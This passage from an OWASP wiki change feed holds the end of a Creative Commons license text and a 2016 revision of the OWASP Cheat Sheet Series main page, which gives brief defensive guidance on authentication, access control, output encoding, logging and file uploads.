THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE (&amp;quot;CCPL&amp;quot; OR &amp;quot;LICENSE&amp;quot;). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED. &lt;br /&gt;
&lt;br /&gt;
BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS. &lt;br /&gt;
&lt;br /&gt;
1. Definitions &lt;br /&gt;
&lt;br /&gt;
&amp;quot;Collective Work&amp;quot; means a work, such as a periodical issue, anthology or encyclopedia, in which the Work in its entirety in unmodified form, along with a number of other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this License. &lt;br /&gt;
&amp;quot;Derivative Work&amp;quot; means a work based upon the Work or upon the Work and other pre-existing works, such as a translation, musical arrangement, dramatization, fictionalization, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which the Work may be recast, transformed, or adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this License. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image (&amp;quot;synching&amp;quot;) will be considered a Derivative Work for the purpose of this License. &lt;br /&gt;
&amp;quot;Licensor&amp;quot; means the individual or entity that offers the Work under the terms of this License. &lt;br /&gt;
&amp;quot;Original Author&amp;quot; means the individual or entity who created the Work. &lt;br /&gt;
&amp;quot;Work&amp;quot; means the copyrightable work of authorship offered under the terms of this License. &lt;br /&gt;
&amp;quot;You&amp;quot; means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation. &lt;br /&gt;
&amp;quot;License Elements&amp;quot; means the following high-level license attributes as selected by Licensor and indicated in the title of this License: Attribution, ShareAlike.&lt;br /&gt;
&lt;br /&gt;
2. Fair Use Rights. &lt;br /&gt;
&lt;br /&gt;
Nothing in this license is intended to reduce, limit, or restrict any rights arising from fair use, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws. &lt;br /&gt;
&lt;br /&gt;
3. License Grant. &lt;br /&gt;
&lt;br /&gt;
Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below: &lt;br /&gt;
&lt;br /&gt;
to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works; &lt;br /&gt;
to create and reproduce Derivative Works; &lt;br /&gt;
to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works; &lt;br /&gt;
to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works. &lt;br /&gt;
For the avoidance of doubt, where the work is a musical composition:&lt;br /&gt;
&lt;br /&gt;
Performance Royalties Under Blanket Licenses. Licensor waives the exclusive right to collect, whether individually or via a performance rights society (e.g. ASCAP, BMI, SESAC), royalties for the public performance or public digital performance (e.g. webcast) of the Work. &lt;br /&gt;
Mechanical Rights and Statutory Royalties. Licensor waives the exclusive right to collect, whether individually or via a music rights society or designated agent (e.g. Harry Fox Agency), royalties for any phonorecord You create from the Work (&amp;quot;cover version&amp;quot;) and distribute, subject to the compulsory license created by 17 USC Section 115 of the US Copyright Act (or the equivalent in other jurisdictions). &lt;br /&gt;
Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor waives the exclusive right to collect, whether individually or via a performance-rights society (e.g. SoundExchange), royalties for the public digital performance (e.g. webcast) of the Work, subject to the compulsory license created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions). &lt;br /&gt;
The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor are hereby reserved.&lt;br /&gt;
&lt;br /&gt;
4. Restrictions. &lt;br /&gt;
&lt;br /&gt;
The license granted in Section 3 above is expressly made subject to and limited by the following restrictions: &lt;br /&gt;
&lt;br /&gt;
You may distribute, publicly display, publicly perform, or publicly digitally perform the Work only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy or phonorecord of the Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Work that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute, publicly display, publicly perform, or publicly digitally perform the Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License Agreement. The above applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this License. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by clause 4(c), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by clause 4(c), as requested. &lt;br /&gt;
You may distribute, publicly display, publicly perform, or publicly digitally perform a Derivative Work only under the terms of this License, a later version of this License with the same License Elements as this License, or a Creative Commons iCommons license that contains the same License Elements as this License (e.g. Attribution-ShareAlike 2.5 Japan). You must include a copy of, or the Uniform Resource Identifier for, this License or other license specified in the previous sentence with every copy or phonorecord of each Derivative Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Derivative Works that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder, and You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute, publicly display, publicly perform, or publicly digitally perform the Derivative Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License Agreement. The above applies to the Derivative Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Derivative Work itself to be made subject to the terms of this License. &lt;br /&gt;
If you distribute, publicly display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or (ii) if the Original Author and/or Licensor designate another party or parties (e.g. a sponsor institute, publishing entity, journal) for attribution in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., &amp;quot;French translation of the Work by Original Author,&amp;quot; or &amp;quot;Screenplay based on original Work by Original Author&amp;quot;). Such credit may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear where any other comparable authorship credit appears and in a manner at least as prominent as such other comparable authorship credit. &lt;br /&gt;
&lt;br /&gt;
5. Representations, Warranties and Disclaimer&lt;br /&gt;
&lt;br /&gt;
UNLESS OTHERWISE AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE MATERIALS, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.&lt;br /&gt;
&lt;br /&gt;
6. Limitation on Liability. &lt;br /&gt;
&lt;br /&gt;
EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. &lt;br /&gt;
&lt;br /&gt;
7. Termination &lt;br /&gt;
&lt;br /&gt;
This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Derivative Works or Collective Works from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License. &lt;br /&gt;
Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above. &lt;br /&gt;
&lt;br /&gt;
8. Miscellaneous &lt;br /&gt;
&lt;br /&gt;
Each time You distribute or publicly digitally perform the Work or a Collective Work, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License. &lt;br /&gt;
Each time You distribute or publicly digitally perform a Derivative Work, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License. &lt;br /&gt;
If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable. &lt;br /&gt;
No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent. &lt;br /&gt;
This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Cheat_Sheet_Series&amp;diff=210312</id>
		<title>OWASP Cheat Sheet Series</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Cheat_Sheet_Series&amp;diff=210312"/>
				<updated>2016-03-02T20:54:34Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Master Cheat Sheet */ remove extra instance of the word 'users'; replace 'a' with 'an' before 'ACL'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:90px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File: lab_big.jpg|link=OWASP_Project_Stages#tab.3DLab_Projects]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
The OWASP Cheat Sheet Series was created to provide a concise collection of high value information on specific web application security topics. These cheat sheets were created by various application security professionals who have expertise in specific topics. We hope that the OWASP Cheat Sheet Series provides you with excellent security guidance in an easy to read format.&lt;br /&gt;
&lt;br /&gt;
If you have any questions about the OWASP Cheat Sheet Series, please email the project leader [mailto:jim.manico@owasp.org Jim Manico] or subscribe to our [https://lists.owasp.org/mailman/listinfo/owasp-cheat-sheets project email list].&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
&lt;br /&gt;
Project Leader: [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: Shruti Kulkarni, Torsten Gigler, Michael Coates, Jeff Williams, Dave Wichers, Kevin Wall, Jeffrey Walton, Eric Sheridan, Kevin Kenan, David Rook, Fred Donovan, Abraham Kang, Dave Ferguson, Shreeraj Shah, Raul Siles, Colin Watson, Neil Matatall and &amp;lt;b&amp;gt;many more&amp;lt;/b&amp;gt;!&lt;br /&gt;
&lt;br /&gt;
== OWASP Cheat Sheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
OWASP Cheatsheet Series Book : April 2015 [https://www.owasp.org/images/9/9a/OWASP_Cheatsheets_Book.pdf PDF download].&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-cheat-sheets Project Email List]&lt;br /&gt;
&lt;br /&gt;
== Licensing ==&lt;br /&gt;
The OWASP &amp;lt;i&amp;gt;Cheat Sheet Series&amp;lt;/i&amp;gt; is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
* [[OWASP Proactive Controls]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project OWASP Application Security Verification Standard Project]&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 6 2016] New navigation template rolled out project-wide&lt;br /&gt;
* [Jun 11 2015] [https://www.owasp.org/index.php/SAML_Security_Cheat_Sheet SAML Cheat Sheet] added to project&lt;br /&gt;
* [Feb 11 2015] [https://www.owasp.org/images/9/9a/OWASP_Cheatsheets_Book.pdf Cheat Sheet &amp;quot;book&amp;quot;] added to project &lt;br /&gt;
* [Apr 4 2014] All non-draft cheat sheets moved to new wiki template!&lt;br /&gt;
* [Feb 4 2014] Project-wide cleanup started&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-labs-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Labs_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Master Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
Ensure all entities go through an appropriate and adequate form of authentication. All the application non-public resource must be protected and shouldn't be bypassed.&lt;br /&gt;
&lt;br /&gt;
For more information, check [https://www.owasp.org/index.php/Authentication_Cheat_Sheet Authentication Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
==Session Management==&lt;br /&gt;
&lt;br /&gt;
Use secure session management practices that ensure that authenticated users have a robust and cryptographically secure association with their session. &lt;br /&gt;
&lt;br /&gt;
For more information, check [https://www.owasp.org/index.php/Session_Management_Cheat_Sheet Session Management Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
==Access Control==&lt;br /&gt;
&lt;br /&gt;
Ensure that a user has access only to the resources they are entitled to. Perform access control checks on the server side on every request. All user-controlled parameters should be validated for entitlemens checks. Check if user name or role name is passed through the URL or through hidden variables. Prepare an ACL containing the Role-to-Function mapping and validate if the users are granted access as per the ACL.&lt;br /&gt;
&lt;br /&gt;
For more information, check [https://www.owasp.org/index.php/Access_Control_Cheat_Sheet Access Control Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
==Input Validation==&lt;br /&gt;
&lt;br /&gt;
Input validation is performed to minimize malformed data from entering the system. Input Validation is NOT the primary method of preventing XSS, SQL Injection. These are covered in output encoding below.&lt;br /&gt;
&lt;br /&gt;
For more information, check [https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet Input Validation Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
==Output Encoding==&lt;br /&gt;
&lt;br /&gt;
Output encoding is the primary method of preventing XSS and injection attacks. Input validation helps minimize the introduction of malformed data, but it is a secondary control.&lt;br /&gt;
&lt;br /&gt;
For more information, check [https://www.owasp.org/index.php/XSS_Prevention_Cheat_Sheet XSS (Cross Site Scripting) Prevention Cheat Sheet].&lt;br /&gt;
&lt;br /&gt;
==Cross Domain==&lt;br /&gt;
&lt;br /&gt;
Ensure that adequate controls are present to prevent against Cross-site Request Forgery, Clickjacking and other 3rd Party Malicious scripts.&lt;br /&gt;
&lt;br /&gt;
For more information, check [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet Cross Site Request Forgery]&lt;br /&gt;
&lt;br /&gt;
==Secure Transmission==&lt;br /&gt;
&lt;br /&gt;
Ensure that all the applications pages are served over cryptographically secure HTTPs protocols. Prohibit the transmission of session cookies over HTTP.&lt;br /&gt;
&lt;br /&gt;
For more information, check [https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet Transport Protection Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
==Logging==&lt;br /&gt;
&lt;br /&gt;
Ensure that all the security related events are logged. Events include: User log-in (success/fail); view; update; create, delete, file upload/download, attempt to access through URL, URL tampering. Audit logs should be immutable and write only and must be protected from unauthorized access.&lt;br /&gt;
&lt;br /&gt;
For more information, check [https://www.owasp.org/index.php/Logging_Cheat_Sheet Logging Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
==Uploads==&lt;br /&gt;
&lt;br /&gt;
Ensure that the size, type, contents and name of the uploaded files are validated. Uploaded files must not be accessible to users by direct browsing. Preferably store all the uploaded files in a different file server/drive on the server. All files must be virus scanned using a regularly updated scanner.&lt;br /&gt;
&lt;br /&gt;
= Roadmap =&lt;br /&gt;
&lt;br /&gt;
* Bring all cheat sheets out of draft by June 2016&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Cheat Sheets Project]]&lt;br /&gt;
[[Category:OWASP_Document]]&lt;br /&gt;
[[Category:OWASP_Alpha_Quality_Document]]&lt;br /&gt;
[[Category:SAMM-EG-1]]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	</feed>